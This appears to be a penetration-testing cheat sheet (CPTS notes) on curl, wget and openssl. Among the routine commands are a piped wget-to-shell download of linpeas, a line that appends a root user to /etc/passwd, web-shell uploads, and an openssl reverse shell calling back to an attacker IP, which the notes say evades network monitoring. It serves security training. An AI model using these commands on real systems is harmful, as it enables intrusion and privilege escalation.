~/linux-requests-and-transfer

Requests and Transfer

CPTS Notes11 min read

curl sends any HTTP request and shows the raw response. Use it to test logins, headers, uploads, and vhosts. wget downloads files and mirrors whole sites or FTP shares. openssl reads TLS certificates, speaks STARTTLS, makes password hashes, and decodes base64. On a box, curl or wget pulls your tools from a Python HTTP server (Linux Transfers).

curl

Requests and responses

Request a page:

curl http://$TARGET/ # fetch the page

Show the response headers above the body:

curl -i http://$TARGET/ # headers and body

Send a HEAD request and show the headers only:

curl -I http://$TARGET/ # headers only

Hide the progress meter when you pipe the output:

curl -s http://$TARGET/ | grep -i 'href' # links in the page, no progress meter

Show the full request, the response headers, and the TLS handshake:

curl -v https://$TARGET/ # request, response headers, and TLS handshake

Lines that start with > are what curl sent. Lines that start with < are what the server returned.

Methods and bodies

POST a login form:

curl -d 'username=admin&password=admin' http://$TARGET/login.php # form login

-d sets the method to POST and the Content-Type to application/x-www-form-urlencoded.

URL-encode a value that contains spaces or &:

curl --data-urlencode 'q=a b&c' http://$TARGET/search.php # send an encoded value

POST JSON to an API:

# JSON login
curl -H 'Content-Type: application/json' -d '{"username":"admin","password":"admin"}' http://$TARGET/api/login

Use another method:

curl -X PUT -d 'role=admin' http://$TARGET/api/users/2 # PUT a field
curl -X DELETE http://$TARGET/api/users/2 # delete a resource
curl -i -X OPTIONS http://$TARGET/ # list the allowed methods

The Allow header in the OPTIONS response lists the methods the server accepts.

Headers, cookies, and auth

Add a header:

curl -H 'X-Forwarded-For: 127.0.0.1' http://$TARGET/admin/ # add a header

Send a cookie you already have:

curl -b 'PHPSESSID=abc123' http://$TARGET/dashboard.php # send a session cookie

Log in, save the session cookie to a file, and reuse it:

curl -c cookies.txt -d 'username=admin&password=admin' http://$TARGET/login.php # log in and save the cookies
curl -b cookies.txt http://$TARGET/dashboard.php # reuse the saved cookies

Change the user agent:

curl -A 'Mozilla/5.0' http://$TARGET/ # set the user agent

Log in with HTTP basic auth:

curl -u admin:admin http://$TARGET/admin/ # basic auth

Redirects, TLS, and output

Follow redirects:

curl -L http://$TARGET/ # follow redirects

Accept a self-signed or expired certificate:

curl -k https://$TARGET/ # skip certificate checks

Save the body to a file:

curl -o page.html http://$TARGET/ # save the body as page.html

Save the file under its remote name:

curl -O http://$TARGET/backup.zip # save as backup.zip

Print only the status code:

curl -s -o /dev/null -w '%{http_code}\n' http://$TARGET/admin/ # status code only

Send the request through Burp:

curl -x http://127.0.0.1:8080 -k https://$TARGET/ # proxy through Burp

-k is necessary for HTTPS because Burp signs the traffic with its own CA.

Uploads

Upload a file through a form field:

curl -F '[email protected]' http://$TARGET/upload.php # upload through a form field

The name before = must match the name of the file input in the HTML form.

Set the part’s content type for an upload filter that checks it:

curl -F '[email protected];type=image/png' http://$TARGET/upload.php # upload with a set content type

PUT a file on a server that accepts PUT, such as WebDAV:

curl -T shell.php http://$TARGET/uploads/ # PUT the file

When the URL ends in /, curl adds the local file name: the request is PUT /uploads/shell.php.

Virtual hosts

Send a vhost name to the target IP without editing /etc/hosts:

curl --resolve dev.target.htb:80:$TARGET http://dev.target.htb/ # map the name to the IP
curl -H 'Host: dev.target.htb' http://$TARGET/ # set the Host header

For HTTPS, use --resolve. It also sends the name in SNI. -H 'Host: ...' changes the HTTP header only.

Flag Meaning
-i Shows the response headers with the body
-I Sends a HEAD request and shows the headers only
-s Silent: no progress meter or error messages
-v Verbose: shows the request, the response headers, and the TLS handshake
-X Request method
-d POST body, form-encoded
--data-urlencode POST body, URL-encodes the value
-H Adds a request header
-b Sends cookies, from a string or a file
-c Writes received cookies to a file
-A User agent
-u user:password for server auth
-L Follows redirects
-k Skips certificate checks
-o Writes the body to a file
-O Writes the body to a file with the remote name
-w Prints the given format after the transfer, such as %{http_code}
-x Proxy
-F Multipart form field. @ reads a file
-T Uploads a file, with PUT over HTTP
--resolve Maps host:port to an IP address for this request

wget

Downloads

Download a file:

wget http://10.10.14.20:8000/linpeas.sh # download a file

Save it under another name or path:

wget -O /dev/shm/lp.sh http://10.10.14.20:8000/linpeas.sh # save as /dev/shm/lp.sh

Download without output:

wget -q http://10.10.14.20:8000/linpeas.sh # download quietly

Resume a partial download:

wget -c http://$TARGET/backup.tar.gz # resume a download

Download every URL in a list:

wget -i urls.txt # download every URL in the list

Accept a self-signed certificate:

wget --no-check-certificate https://$TARGET/backup.zip # skip certificate checks

Mirrors

Mirror a web folder and stay below it:

wget -m -np http://$TARGET/backup/ # mirror, stay below the folder

Download a folder recursively into the current directory, without the host and first path folder:

wget -r -np -nH --cut-dirs=1 http://$TARGET/files/ # recursive, short local paths

Mirror an FTP share with anonymous login:

wget -m ftp://anonymous:anonymous@$TARGET # mirror with anonymous login

Mirror an FTP share with credentials, in active mode:

wget -m --no-passive-ftp --ftp-user=ftpuser --ftp-password='Passw0rd!' ftp://$TARGET # mirror with credentials, active mode

Use --no-passive-ftp when passive transfers hang. FTP covers the service.

Auth

Log in to a site or FTP server:

wget --user=admin --password=admin http://$TARGET/admin/config.php # log in with credentials

Prompt for the password, which keeps it out of the shell history:

wget --user=admin --ask-password http://$TARGET/admin/config.php # prompt for the password

Pipe to a shell

Run a script from your server without a copy on disk:

wget -qO- http://10.10.14.20:8000/linpeas.sh | sh # run the script without saving it

The shell runs whatever the server returns. Use this only with a server you control.

Flag Meaning
-O Output file. -O- writes to stdout
-q Quiet: no output
-c Continues a partial download
-i Reads URLs from a file
-r Recursive download, 5 levels deep by default
-m Mirror: recursive with no depth limit, and keeps timestamps
-np Never goes up to the parent folder
-nH No folder named after the host
--cut-dirs Drops this number of path folders from the saved path
--no-check-certificate Skips certificate checks
--user, --password Credentials for HTTP and FTP
--ftp-user, --ftp-password Credentials for FTP only
--ask-password Prompts for the password
--no-passive-ftp Uses active FTP mode

openssl

Read a server certificate

Connect and print the certificate:

openssl s_client -connect $TARGET:443 # print the certificate

Send a hostname in SNI when you connect by IP:

openssl s_client -connect $TARGET:443 -servername dev.target.htb # send a name in SNI

Print every certificate in the chain:

openssl s_client -connect $TARGET:443 -showcerts # print the whole chain

Upgrade a plain-text service with STARTTLS:

openssl s_client -connect $TARGET:25 -starttls smtp # SMTP
openssl s_client -connect $TARGET:143 -starttls imap # IMAP
openssl s_client -connect $TARGET:110 -starttls pop3 # POP3
openssl s_client -connect $TARGET:21 -starttls ftp # FTP

After the handshake you type protocol commands in the session. SMTP and Mail Retrieval list them.

Pull the hostnames out of a live certificate:

# subject and SAN names from a live certificate
openssl s_client -connect $TARGET:443 </dev/null 2>/dev/null | openssl x509 -noout -subject -ext subjectAltName

The CN and the SAN entries often name vhosts and the internal domain. Add them to /etc/hosts.

Read a certificate file

Print a certificate in full:

openssl x509 -in cert.pem -text -noout # print the certificate in full

Print the subject and the alternative names only:

openssl x509 -in cert.pem -noout -subject -ext subjectAltName # subject and alternative names

Password hashes

Make an MD5-crypt hash:

openssl passwd -1 Password123 # MD5-crypt hash

Make a SHA-512-crypt hash with a fixed salt:

openssl passwd -6 -salt xyz Password123 # SHA-512-crypt hash, fixed salt

Add a root user when /etc/passwd is writable:

# add root user hacker, password Password123
echo "hacker:$(openssl passwd -6 -salt xyz Password123):0:0:root:/root:/bin/bash" >> /etc/passwd
su hacker # log in as the new user

Privesc Primer covers how to find a writable /etc/passwd.

Encoding and hashes

Decode base64:

echo 'aGVsbG8K' | openssl base64 -d # decode base64

Decode a long base64 string on one line:

openssl base64 -d -A -in blob.b64 -out blob.bin # decode a one-line blob to a file

Without -A, a single line longer than about 1,000 characters decodes to nothing, with no error.

Encode a file as one line of base64:

openssl base64 -A -in files.zip # encode as one line

Hash a file:

openssl dgst -sha256 files.zip # SHA-256 hash

Compare the hash on both ends after a transfer.

Self-signed certificate

Make a key and a certificate in one command:

# key and self-signed certificate
openssl req -x509 -newkey rsa:2048 -nodes -keyout key.pem -out cert.pem -days 365 -subj '/CN=localhost'

Encrypted reverse shell

Listen on your attack host with the certificate from the previous step:

openssl s_server -quiet -key key.pem -cert cert.pem -port 4444 # TLS listener on port 4444

Connect back from the target:

# reverse shell over TLS
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 10.10.14.20:4444 > /tmp/s; rm /tmp/s

The traffic is TLS. A network monitor sees no plain-text commands.

Flag Meaning
s_client -connect host:port to connect to
-servername Hostname to send in SNI
-showcerts Prints every certificate the server sends
-starttls Sends the protocol’s STARTTLS command first: smtp, imap, pop3, ftp, and others
-quiet No session or certificate output
x509 -in Certificate file to read
-text Prints the certificate in full
-noout Does not print the encoded certificate
-subject Prints the subject
-ext subjectAltName Prints the alternative names
passwd -1 MD5-crypt hash ($1$)
passwd -6 SHA-512-crypt hash ($6$)
-salt Salt for the hash
base64 -d Decodes
-A Base64 on one line, for input and output
dgst -sha256 SHA-256 hash
req -x509 Makes a self-signed certificate
-newkey rsa:2048 Makes a new 2048-bit RSA key
-nodes Does not encrypt the key. OpenSSL 3 also accepts -noenc
-keyout, -out Key file and certificate file
-days Days the certificate is valid
-subj Subject, such as /CN=localhost
s_server -key, -cert Key and certificate for the listener
-port Port to listen on

File transfer

File transfer has its own section. Start with Choosing a Method. The Linux commands are in Linux Transfers.